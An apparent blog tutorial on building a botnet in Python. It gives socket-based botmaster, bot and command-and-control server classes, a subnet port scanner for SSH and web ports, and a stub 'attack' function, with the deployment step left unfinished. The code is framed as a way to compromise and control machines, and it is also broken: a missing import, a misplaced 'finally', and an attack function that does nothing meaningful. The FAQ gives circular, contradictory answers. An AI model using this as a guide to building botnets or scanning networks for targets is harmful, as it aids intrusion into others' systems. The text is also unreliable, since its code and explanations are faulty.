Post

How to Build a Botnet

Warning! This article is for educational purposes only, and should not be used for any illegal activities. If you are interested in learning more, please read the Disclaimer below. Otherwise, please leave this page and Go Back.

What is a Botnet?

A botnet is a collection of compromised computers, each of the computers in a botnet are called bots or zombies. The botnet is controlled by a botmaster, who uses the bots to perform malicious tasks. Botnets are used for a variety of purposes, including DDoS attacks, spamming, and cryptocurrency mining.

Some general terms used in this article:

  • Botmaster: The person who controls the botnet.
  • Bot: A computer that is part of the botnet.
  • Command and Control Server: A server that the botmaster uses to control the bots.

In this article/tutorial, we’ll build a botnet from scratch using Python. We’ll start by creating a botmaster that can control the bots, then the creation of a bot that can join the botnet and receive commands from the botmaster. Finally, we’ll create a command and control server that the botmaster can use to control the bots.

Prerequisites

  • Python 3.6+

Botnet Infrastructure

A botnet consists most commonly of a botmaster, command and control servers, and bots. The botmaster controls the botnet and can send commands to the bots. The bots are computers that are part of the botnet and can receive commands from the botmaster. The command and control servers are servers that the botmaster uses to control the bots.

A basic botnet infrastructure looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
            +-----------------+
            |    Botmaster    |
            +-----------------+
                     |
            +-----------------+
            |   C&C Server    |
            +-----------------+
                     |
         ___________/ \__________
        /                        \
+-----------------+     +-----------------+
|      Bot 1      |     |      Bot 2      |
+-----------------+     +-----------------+

The differences between the components of a botnet are:

  • The botmaster controls the botnet and can send commands to the bots.
  • The bots are computers that are part of the botnet and can receive commands from the botmaster.
  • The command and control servers are servers that the botmaster uses to control the bots.
  • The botmaster can control the bots using a command and control server.
  • The botmaster can send commands to the bots using a command and control server.

Creating the Botmaster

The botmaster’s minimal functions include the ability to send commands to the bots and receive information from them, however the botmaster can also update the malware on the bots.

To start this off, we’ll create a file called botmaster.py and create a class called Botmaster with the following functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import socket
import json
import base64

class Botmaster:
    def __init__(self, host, port):
        self.host = host
        self.port = port

    def connect(self):
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect((self.host, self.port))
            print(f"[*] Connected to {self.host}:{self.port}")
        except Exception as e:
            print(f"[*] Connection to {self.host}:{self.port} failed: {e}")
            sys.exit(1)

    def send_command(self, command):
        try:
            self.sock.send(command.encode())
            print(f"[*] Command sent: {command}")
        except Exception as e:
            print(f"[*] Command failed: {e}")
            sys.exit(1)

    def receive_data(self):
        try:
            data = self.sock.recv(1024).decode()
            print(f"[*] Data received: {data}")
        except Exception as e:
            print(f"[*] Data failed: {e}")
            sys.exit(1)

    def close(self):
        self.sock.close()
        print("[*] Connection closed")

Now let’s breakdown all of what we’ve written above.

When we create a new instance of the Botmaster class, we pass in two arguments, host and port, which are used to connect to the command and control server.

The method connect is used to connect to the command and control server. It uses the socket module to create a socket and connect to the command and control server.

The method send_command is used to send commands to the bots. It takes one argument, command, which is the command to send to the bots. It uses the socket module to send the command to the command and control server.

The method receive_data is used to receive data from the bots. It uses the socket module to receive data from the command and control server.

The method close is used to close the connection to the command and control server. It uses the socket module to close the connection.

Before we explain the implementation of the Botmaster class, let’s create continue with the creation of the bot.

Creating the Bot

The bot’s minimal functions include the ability to receive commands from the botmaster and send information to them, however the bot can also update the malware on the bots.

To start this off, we’ll create a file called bot.py and create a class called Bot with the following functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import socket
import json
import base64

class Bot:
    def __init__(self, host, port):
        self.host = host
        self.port = port

    def connect(self):
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect((self.host, self.port))
            print(f"[*] Connected to {self.host}:{self.port}")
        except Exception as e:
            print(f"[*] Connection to {self.host}:{self.port} failed: {e}")
            sys.exit(1)

    def receive_command(self):
        try:
            command = self.sock.recv(1024).decode()
            print(f"[*] Command received: {command}")
        except Exception as e:
            print(f"[*] Command failed: {e}")
            sys.exit(1)

    def send_data(self, data):
        try:
            self.sock.send(data.encode())
            print(f"[*] Data sent: {data}")
        except Exception as e:
            print(f"[*] Data failed: {e}")
            sys.exit(1)

    def close(self):
        self.sock.close()
        print("[*] Connection closed")

Now let’s breakdown all of what we’ve written above.

When we create a new instance of the Bot class, we pass in two arguments, host and port, which are used to connect to the command and control server.

You may notice that the Bot class is very similar to the Botmaster class. This is because the bot and the botmaster have similar functions, but the botmaster has more functions than the bot.

The methods connect, receive_command, send_data, and close are the same as the methods in the Botmaster class.

The method receive_command is used to receive commands from the botmaster. It uses the socket module to receive commands from the command and control server.

Now that we’ve created the bot, let’s create the command and control server.

Creating the Command and Control Server

The command and control server’s minimal functions include the ability to receive commands from the botmaster and send information to them, however the command and control server can also update the malware on the bots.

To start this off, we’ll create a file called cnc_server.py and create a class called CnCServer with the following functions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import socket
import json
import base64

class CnCServer:
    def __init__(self, host, port):
        self.host = host
        self.port = port

    def start(self):
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.bind((self.host, self.port))
            self.sock.listen(5)
            print(f"[*] Listening on {self.host}:{self.port}")
        except Exception as e:
            print(f"[*] Listening on {self.host}:{self.port} failed: {e}")
            sys.exit(1)

    def accept(self):
        try:
            self.client, self.addr = self.sock.accept()
            print(f"[*] Accepted connection from {self.addr[0]}:{self.addr[1]}")
        except Exception as e:
            print(f"[*] Accepting connection from {self.addr[0]}:{self.addr[1]} failed: {e}")
            sys.exit(1)

    def receive_command(self):
        try:
            command = self.client.recv(1024).decode()
            print(f"[*] Command received: {command}")
        except Exception as e:
            print(f"[*] Command failed: {e}")
            sys.exit(1)

    def send_data(self, data):
        try:
            self.client.send(data.encode())
            print(f"[*] Data sent: {data}")
        except Exception as e:
            print(f"[*] Data failed: {e}")
            sys.exit(1)

    def close(self):
        self.sock.close()
        print("[*] Connection closed")

Now let’s breakdown all of what we’ve written above.

When we create a new instance of the CnCServer class, we pass in two arguments, host and port, which are used to start the command and control server.

The only difference between the CnCServer class and the Botmaster class is that the CnCServer class has a method called start that is used to start the command and control server.

The method start is used to start the command and control server. It uses the socket module to create a socket and bind it to the host and port. It also uses the socket module to listen for connections.

The method accept is used to accept connections from the botmaster. It uses the socket module to accept connections from the botmaster.

However, now that we have the core mechanisms of our botnet, we can start connecting the pieces.

Connecting the Botmaster, Bot, and Command and Control Server

Great! Let’s take a look at how we can connect the botmaster, bot, and command and control server.

First, we’ll create a file called botnet.py and import the Botmaster, Bot, and CnCServer classes from the files we created earlier:

1
2
3
from botmaster import Botmaster
from bot import Bot
from cnc_server import CnCServer

So our problem is we have our mechanisms for the botnet, but we don’t have any target to attack. So let’s find a target to attack.

For us to be able to do this, we can take a cidr range and quietly scan it for hosts that exist, then we can use those hosts as targets to be able to scan for vulnerabilities.

So let’s create a file called utils.py and import the ipaddress and socket modules:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import ipaddress
import socket

def scan(cidr, ports=[]):
    hosts = []
    for ip_addr in ipaddress.IPv4Network(cidr):
      host = [ip_addr, []]
      for port in ports:
        try:
            socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((str(ip_addr), port))
            host[-1].append(port)
        except Exception as e:
            pass
      finally:
        if len(host[-1]) > 0:
          hosts.append(host)
          
    return hosts

Now let’s breakdown all of what we’ve written above.

When we call the scan function, we pass in one argument, cidr, which is the cidr range to scan.

For this example we can use our own local network, so we can use the following code:

1
2
3
4
5
6
7
8
9
from utils import scan

hosts = scan("192.168.1.1/24", [22, 80, 8080])

with open("hosts.txt", "w") as f:
    for host in hosts:
      for port in host[-1]:
        f.write(f"{host}:{port}\n")

The scan function uses the ipaddress module to iterate through the cidr range and the socket module to check if the host is up. If the host is up, it adds it to the file hosts.txt with the ip address and the hosts open port.

Now that we have our potential targets, we can start determining which ones are vulnerable.

So let’s add to our utils.py file with a method called attack:

1
2
3
4
5
6
7
8
from bot import Bot

def attack(host, port):
    bot = Bot(host, port)
    bot.connect()
    bot.receive_command()
    bot.send_data("Hello World!")
    bot.close()

Now that we have our hosts, we can start gaining access to them and deploying our botnet.

So we’re going to create a file called deploy.py and which will take the hosts from the hosts.txt file and deploy our botnet to them.

… WIP

Frequently Asked Questions

Some of the most frequently asked questions about botnets are:

Is the botmaster ever human?

The botmaster is usually a human, but it can also be a bot.

Is the C2 server a botmaster?

The C2 server is usually a botmaster, but it can also be a bot.

Why is the botmaster important?

The botmaster controls the botnet and can send commands to the bots.

Why is the C2 server important?

The C2 server is important because it allows the botmaster to control the bots.

Why not just have all bots be a botmaster?

Having all bots be a botmaster would be inefficient because it would require each bot to have its own command and control server.

Why not just have all bots be a C2 server?

Having all bots be a C2 server would be inefficient because it would require each bot to have its own command and control server.

Disclaimer

Building and using a botnet, even for educational purposes, can have serious legal and ethical implications. The information provided in this article/tutorial is intended solely for educational exploration and to foster a deeper understanding of computer networks and cybersecurity. It is essential to approach this topic responsibly, with a strong emphasis on ethical considerations.

The content presented here should not be used to engage in any illegal activities or harm computer systems, networks, or individuals. It is crucial to respect the laws and guidelines governing technology usage in your jurisdiction and adhere to ethical standards.

The primary objective of this educational material is to shed light on the technical aspects and concepts related to botnets, their architecture, and associated security concerns. The intention is to raise awareness, promote responsible use of technology, and encourage discussions around cybersecurity best practices.

By reading and utilizing the information in this article/tutorial, you acknowledge that you will use this knowledge only for lawful and ethical purposes. The author, contributors, and publisher do not assume any responsibility or liability for any misuse, damage, or consequences resulting from the application of the techniques or information provided herein.

Always seek appropriate legal and ethical guidance, consult with experts in the field, and ensure compliance with applicable laws and regulations when working with computer networks and cybersecurity.

Conclusion

In this article/tutorial, we learned about botnets, their architecture, and associated security concerns. We also explored the technical aspects of building a botnet from scratch using Python. We covered the botmaster, the bots, and the command and control server. We also discussed the botnet lifecycle and the legal and ethical implications of building and using a botnet.

Hack the Planet!

This post is licensed under CC BY 4.0 by the author.